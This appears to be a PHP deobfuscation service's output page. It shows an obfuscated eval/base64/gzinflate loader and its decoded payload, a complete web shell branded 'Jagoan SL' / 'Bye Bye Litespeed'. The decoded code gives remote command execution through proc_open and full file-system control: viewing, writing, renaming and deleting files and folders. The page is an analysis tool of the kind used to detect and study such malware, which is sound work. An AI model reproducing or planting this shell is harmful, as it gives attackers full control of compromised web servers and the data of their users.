Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$enc = 'BiWjg0u3pgQA/h+f9/UddxubdmJS6fBoUjLz6CWzk0pkBW3WR6VtspwGajEIJNqYUhnYsa0yq7O8k+ylIX..
Decoded Output download
?>b'<!DOCTYPE html>
<html>
<head>
<title>.:: Jagoan SL ::.</title>
<link href="https://fonts.googleapis.com/css?family=Protest Revolution" rel="stylesheet">
<style>
body {
font-family: \'Protest Revolution\';
color: red;
margin: 0;
padding: 0;
text-shadow: 2px 2px 4px rgba(255, 0, 0, 0.5);
background-image: url(\'https://iphoneswallpapers.com/wp-content/uploads/2022/09/iPhone-13-RGB-Neon-Frame.jpg\');
background-size: cover;
background-position: center;
}
.container {
width: 90%;
margin: 20px auto;
padding: 20px;
background-color: #fff;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
.result-box {
width: 97.5%;
height: 200px;
resize: none;
overflow: auto;
font-family: \'Protest Revolution\';
background-color: #f4f4f4;
padding: 10px;
border: 1px solid #ddd;
margin-bottom: 10px;
}
hr {
border: 0;
border-top: 1px solid #ddd;
margin: 20px 0;
}
table {
width: 100%;
border-collapse: collapse;
margin-top: 20px;
}
th, td {
padding: 8px;
text-align: left;
}
th {
background-color: #f2f2f2;
}
tr:nth-child(even) {
background-color: #f9f9f9;
}
tr:hover {
background-color: #f2f2f2;
}
input[type="text"], input[type="submit"], textarea[name="file_content"] {
width: calc(97.5% - 10px);
margin-bottom: 10px;
padding: 8px;
max-height: 200px;
resize: vertical;
border: 1px solid #ddd;
border-radius: 3px;
font-family: \'Protest Revolution\';
}
input[type="submit"] {
background-color: #4CAF50;
color: white;
font-family: \'Protest Revolution\';
border: none;
cursor: pointer;
}
input[type="submit"]:hover {
background-color: #45a049;
}
.item-name {
max-width: 200px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
td.size {
width: 100px;
}
.writable {
color: green;
}
.not-writable {
color: red;
}
.permission {
font-weight: bold;
width: 50px;
height: 20px;
text-align: center;
line-height: 20px;
overflow: hidden;
}
</style>
</head>
<body>
<div class="container">
<?php
$rootDirectory = realpath($_SERVER[\'DOCUMENT_ROOT\']);
function x($b)
{
return base64_encode($b);
}
function y($b)
{
return base64_decode($b);
}
foreach ($_GET as $c => $d) $_GET[$c] = y($d);
$currentDirectory = realpath(isset($_GET[\'d\']) ? $_GET[\'d\'] : $rootDirectory);
chdir($currentDirectory);
$viewCommandResult = \'\';
if ($_SERVER[\'REQUEST_METHOD\'] === \'POST\') {
if (isset($_POST[\'folder_name\']) && !empty($_POST[\'folder_name\'])) {
$newFolder = $currentDirectory . \'/\' . $_POST[\'folder_name\'];
if (!file_exists($newFolder)) {
mkdir($newFolder);
echo \'<hr>Folder created successfully!\';
} else {
echo \'<hr>Error: Folder already exists!\';
}
} elseif (isset($_POST[\'file_name\']) && !empty($_POST[\'file_name\'])) {
$fileName = $_POST[\'file_name\'];
$newFile = $currentDirectory . \'/\' . $fileName;
if (!file_exists($newFile)) {
if (file_put_contents($newFile, $_POST[\'file_content\']) !== false) {
echo \'<hr>File created successfully!\';
} else {
echo \'<hr>Error: Failed to create file!\';
}
} else {
if (file_put_contents($newFile, $_POST[\'file_content\']) !== false) {
echo \'<hr>File edited successfully!\';
} else {
echo \'<hr>Error: Failed to edit file!\';
}
}
} elseif (isset($_POST[\'delete_file\'])) {
$fileToDelete = $currentDirectory . \'/\' . $_POST[\'delete_file\'];
if (file_exists($fileToDelete)) {
if (unlink($fileToDelete)) {
echo \'<hr>File deleted successfully!\';
} else {
echo \'<hr>Error: Failed to delete file!\';
}
} elseif (is_dir($fileToDelete)) {
if (deleteDirectory($fileToDelete)) {
echo \'<hr>Folder deleted successfully!\';
} else {
echo \'<hr>Error: Failed to delete folder!\';
}
} else {
echo \'<hr>Error: File or directory not found!\';
}
} elseif (isset($_POST[\'rename_item\']) && isset($_POST[\'old_name\']) && isset($_POST[\'new_name\'])) {
$oldName = $currentDirectory . \'/\' . $_POST[\'old_name\'];
$newName = $currentDirectory . \'/\' . $_POST[\'new_name\'];
if (file_exists($oldName)) {
if (rename($oldName, $newName)) {
echo \'<hr>Item renamed successfully!\';
} else {
echo \'<hr>Error: Failed to rename item!\';
}
} else {
echo \'<hr>Error: Item not found!\';
}
} elseif (isset($_POST[\'cmd_input\'])) {
$command = $_POST[\'cmd_input\'];
$descriptorspec = [
0 => [\'pipe\', \'r\'],
1 => [\'pipe\', \'w\'],
2 => [\'pipe\', \'w\']
];
$process = proc_open($command, $descriptorspec, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
$errors = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
if (!empty($errors)) {
$viewCommandResult = \'<hr><p>Result:</p><textarea class="result-box">\' . htmlspecialchars($errors) . \'</textarea>\';
} else {
$viewCommandResult = \'<hr><p>Result:</p><textarea class="result-box">\' . htmlspecialchars($output) . \'</textarea>\';
}
} else {
$viewCommandResult = \'<hr><p>Error: Failed to execute command!</p>\';
}
} elseif (isset($_POST[\'view_file\'])) {
$fileToView = $currentDirectory . \'/\' . $_POST[\'view_file\'];
if (file_exists($fileToView)) {
$fileContent = file_get_contents($fileToView);
$viewCommandResult = \'<hr><p>Result: \' . $_POST[\'view_file\'] . \'</p><textarea class="result-box">\' . htmlspecialchars($fileContent) . \'</textarea>\';
} else {
$viewCommandResult = \'<hr><p>Error: File not found!</p>\';
}
}
}
echo \'<center>
<div class="fig-ansi">
<pre id="taag_font_ANSIShadow" class="fig-ansi"><span style="color: #4CAF50;"> <strong> __ Bye Bye Litespeed _____ __
__| |___ ___ ___ ___ ___ | __| | v.1.2
| | | .\'| . | . | .\'| | |__ | |__
|_____|__,|_ |___|__,|_|_| |_____|_____|
|___| ./Heartzz </strong> </span></pre>
</div>
</center>\';
echo \'<hr>curdir: \';
$directories = explode(DIRECTORY_SEPARATOR, $currentDirectory);
$currentPath = \'\';
foreach ($directories as $index => $dir) {
if ($index == 0) {
echo \'<a href="?d=\' . x($dir) . \'">\' . $dir . \'</a>\';
} else {
$currentPath .= DIRECTORY_SEPARATOR . $dir;
echo \' / <a href="?d=\' . x($currentPath) . \'">\' . $dir . \'</a>\';
}
}
echo \'<br>\';
echo \'<hr><form method="post" action="?\'.(isset($_SERVER[\'QUERY_STRING\']) ? $_SERVER[\'QUERY_STRING\'] : \'\').\'">\';
echo \'<input type="text" name="folder_name" placeholder="New Folder Name">\';
echo \'<input type="submit" value="Create Folder">\';
echo \'</form>\';
echo \'<form method="post" action="?\'.(isset($_SERVER[\'QUERY_STRING\']) ? $_SERVER[\'QUERY_STRING\'] : \'\').\'">\';
echo \'<input type="text" name="file_name" placeholder="Create New File / Edit Existing File">\';
echo \'<textarea name="file_content" placeholder="File Content (for new file) or Edit Content (for existing file)"></textarea>\';
echo \'<input type="submit" value="Create / Edit File">\';
echo \'</form>\';
echo \'<form method="post" action="?\'.(isset($_SERVER[\'QUERY_STRING\']) ? $_SERVER[\'QUERY_STRING\'] : \'\').\'"><input type="text" name="cmd_input" placeholder="Enter command"><input type="submit" value="Run Command"></form>\';
echo $viewCommandResult;
echo \'<div>\';
echo \'</div>\';
echo \'<table border=1>\';
echo \'<br><tr><th><center>Item Name</th><th><center>Size</th><th><center> View </th><th><center>Delete </th><th>Permissions</th><th><center>Rename</th></tr></center></center></center>\';
foreach (scandir($currentDirectory) as $v) {
$u = realpath($v);
$s = stat($u);
$itemLink = is_dir($v) ? \'?d=\' . x($currentDirectory . \'/\' . $v) : \'?\'.(\'d=\'.x($currentDirectory).\'&f=\'.x($v));
$permission = substr(sprintf(\'%o\', fileperms($v)), -4);
$writable = is_writable($v);
echo \'<tr>
<td class="item-name"><a href="\'.$itemLink.\'">\'.$v.\'</a></td>
<td class="size">\'.filesize($u).\'</td>
<td><form method="post" action="?\'.(isset($_SERVER[\'QUERY_STRING\']) ? $_SERVER[\'QUERY_STRING\'] : \'\').\'"><input type="hidden" name="view_file" value="\'.htmlspecialchars($v).\'"><input type="submit" value="View"></form></td>
<td><form method="post" action="?\'.(isset($_SERVER[\'QUERY_STRING\']) ? $_SERVER[\'QUERY_STRING\'] : \'\').\'"><input type="hidden" name="delete_file" value="\'.htmlspecialchars($v).\'"><input type="submit" value="Delete"></form></td>
<td class="permission \'.($writable ? \'writable\' : \'not-writable\').\'">\'.$permission.\'</td>
<td><form method="post" action="?\'.(isset($_SERVER[\'QUERY_STRING\']) ? $_SERVER[\'QUERY_STRING\'] : \'\').\'"><input type="hidden" name="old_name" value="\'.htmlspecialchars($v).\'"><input type="text" name="new_name" placeholder="New Name"><input type="submit" name="rename_item" value="Rename"></form></td>
</tr>\';
}
echo \'</table>\';
function deleteDirectory($dir) {
if (!file_exists($dir)) {
return true;
}
if (!is_dir($dir)) {
return unlink($dir);
}
foreach (scandir($dir) as $item) {
if ($item == \'.\' || $item == \'..\') {
continue;
}
if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
return false;
}
}
return rmdir($dir);
}
?>
</div>
</body>
</html>'
Did this file decode correctly?
Original Code
$enc = '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';
eval(base64_decode(base64_decode('WlhaaGJDZ2lQejRpTG1kNmRXNWpiMjF3Y21WemN5aG5lblZ1WTI5dGNISmxjM01vWjNwcGJtWnNZWFJsS0dkNmFXNW1iR0YwWlNobmVtbHVabXhoZEdVb1ltRnpaVFkwWDJSbFkyOWtaU2h6ZEhKeVpYWW9KR1Z1WXlrcEtTa3BLU2twT3c9PQ=========')));exit;
Function Calls
strrev | 1 |
gzinflate | 3 |
gzuncompress | 2 |
base64_decode | 3 |
Stats
MD5 | 7ea0b31fef7fb272fe715e0ad01f5bdb |
Eval Count | 2 |
Decode Time | 88 ms |